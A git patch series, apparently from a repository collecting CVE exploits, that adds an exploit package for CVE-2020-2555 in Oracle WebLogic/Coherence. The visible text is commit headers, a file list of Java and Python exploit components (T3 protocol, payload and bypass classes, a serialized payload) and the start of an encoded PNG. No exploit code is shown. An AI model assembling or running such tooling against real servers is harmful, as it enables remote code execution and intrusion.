From 5929f37008c0ba3967c31e63905d9d2f1a4a1ff2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:33:59 +0000 Subject: [PATCH 01/10] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20Oracle?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/Oracle/.keep diff --git a/cve/Oracle/.keep b/cve/Oracle/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 84ee553b3542196451b9b40d3bb96812ab552b26 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:34:26 +0000 Subject: [PATCH 02/10] =?UTF-8?q?=E6=96=B0=E5=BB=BA=202020?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/2020/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/Oracle/2020/.keep diff --git a/cve/Oracle/2020/.keep b/cve/Oracle/2020/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From abc7c281ebcc159864c4dd69ce3ba68b90f73833 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:34:43 +0000 Subject: [PATCH 03/10] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/Oracle/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/Oracle/.keep diff --git a/cve/Oracle/.keep b/cve/Oracle/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 0d150197a0a5bb203c2275ed19799e1f0511f721 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:34:52 +0000 Subject: [PATCH 04/10] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20yaml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/2020/yaml/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/Oracle/2020/yaml/.keep diff --git a/cve/Oracle/2020/yaml/.keep b/cve/Oracle/2020/yaml/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From bc3d03c4f2720ef04d27db12047558280c56a908 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:35:26 +0000 Subject: [PATCH 05/10] add cve/Oracle/2020/yaml/CVE-2020-2555.yaml. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 潇雨欣820 --- cve/Oracle/2020/yaml/CVE-2020-2555.yaml | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/Oracle/2020/yaml/CVE-2020-2555.yaml diff --git a/cve/Oracle/2020/yaml/CVE-2020-2555.yaml b/cve/Oracle/2020/yaml/CVE-2020-2555.yaml new file mode 100644 index 00000000..e69de29b -- Gitee From 0b01691fc5d17c84021072bb92c73af59d7ce96e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:35:49 +0000 Subject: [PATCH 06/10] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/Oracle/2020/yaml/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/2020/yaml/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/Oracle/2020/yaml/.keep diff --git a/cve/Oracle/2020/yaml/.keep b/cve/Oracle/2020/yaml/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From 17ef77b74d61fdef4b87250f094c52d78f9406ab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:35:54 +0000 Subject: [PATCH 07/10] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/Oracle/2020/.keep?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/2020/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 cve/Oracle/2020/.keep diff --git a/cve/Oracle/2020/.keep b/cve/Oracle/2020/.keep deleted file mode 100644 index e69de29b..00000000 -- Gitee From cde23da8386e351723394ca89d004ea0bfeaca69 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:36:26 +0000 Subject: [PATCH 08/10] =?UTF-8?q?=E6=96=B0=E5=BB=BA=20CVE-2020-2555?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- cve/Oracle/2020/CVE-2020-2555/.keep | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 cve/Oracle/2020/CVE-2020-2555/.keep diff --git a/cve/Oracle/2020/CVE-2020-2555/.keep b/cve/Oracle/2020/CVE-2020-2555/.keep new file mode 100644 index 00000000..e69de29b -- Gitee From 4a9f666fa9539ff00adcc80992756655657d3e21 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=BD=87=E9=9B=A8=E6=AC=A3820?= Date: Tue, 4 Apr 2023 13:42:57 +0000 Subject: [PATCH 09/10] add cve/Oracle/2020/yaml/CVE-2020-2555.yaml. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 潇雨欣820 --- .../CVE-2020-2555-master/CVE-2020-2555.png | Bin 0 -> 132414 bytes .../CVE-2020-2555-master/CVE-2020-2555.py | 36 +++ .../CVE-2020-2555-master/README.md | 11 + .../supeream/CVE_2020_2555.java | 119 +++++++++ .../CVE-2020-2555-master/supeream/Main.java | 235 ++++++++++++++++++ .../supeream/payload/PayloadTest.java | 22 ++ .../supeream/payload/RemoteImpl.java | 108 ++++++++ .../supeream/serial/BytesOperation.java | 75 ++++++ .../supeream/serial/Reflections.java | 33 +++ .../supeream/serial/SerialDataGenerator.java | 102 ++++++++ .../supeream/serial/Serializables.java | 30 +++ .../supeream/ssl/SocketFactory.java | 34 +++ .../supeream/ssl/TrustManagerImpl.java | 25 ++ .../supeream/ssl/WeblogicTrustManager.java | 15 ++ .../weblogic/BypassPayloadSelector.java | 44 ++++ .../supeream/weblogic/ObjectTest.java | 27 ++ .../weblogic/T3ProtocolOperation.java | 130 ++++++++++ .../supeream/weblogic/T3Test.java | 224 +++++++++++++++++ .../supeream/weblogic/WebLogicOperation.java | 47 ++++ .../CVE-2020-2555-master/test.ser | Bin 0 -> 1758 bytes 20 files changed, 1317 insertions(+) create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.png create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.py create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/README.md create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/CVE_2020_2555.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/Main.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/PayloadTest.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/payload/RemoteImpl.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/BytesOperation.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Reflections.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/SerialDataGenerator.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/serial/Serializables.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/SocketFactory.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/TrustManagerImpl.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/ssl/WeblogicTrustManager.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/BypassPayloadSelector.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/ObjectTest.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3ProtocolOperation.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/T3Test.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/weblogic/WebLogicOperation.java create mode 100644 cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/test.ser diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.png b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.png new file mode 100644 index 0000000000000000000000000000000000000000..6fb0ad4b8c1d8810bec09a0c93da8695ce7e63cd GIT binary patch literal 132414 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 